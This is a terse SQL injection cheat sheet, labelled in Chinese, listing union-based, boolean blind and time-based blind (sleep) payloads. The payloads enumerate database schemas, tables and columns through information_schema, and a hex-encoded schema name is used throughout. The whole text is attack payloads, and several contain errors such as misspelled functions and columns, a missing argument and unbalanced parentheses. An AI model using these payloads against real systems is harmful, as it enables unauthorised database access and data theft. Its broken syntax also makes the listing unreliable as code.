#常规注入：select schema_name from information_schema.schemata;select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;#盲注:select and ascii(mid(databases(),1,1))=115;select and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1));select and ascii(substring((select columns_name from information_schema.columns where column_schena=database() limit 1,1),1,1));#延时盲注：select and if(ascii(substring(database(),1,)),sleep(10),1);select and if(ascii(substring((select table_name from information_schema.tables where table_schema=0x73716C696E6A656374),sleep(10),1));select and if(ascii(substring((select columns_name from information_schema.columns where column_schema=0x73716C696E6A656374)),1,1),sleep(10),1)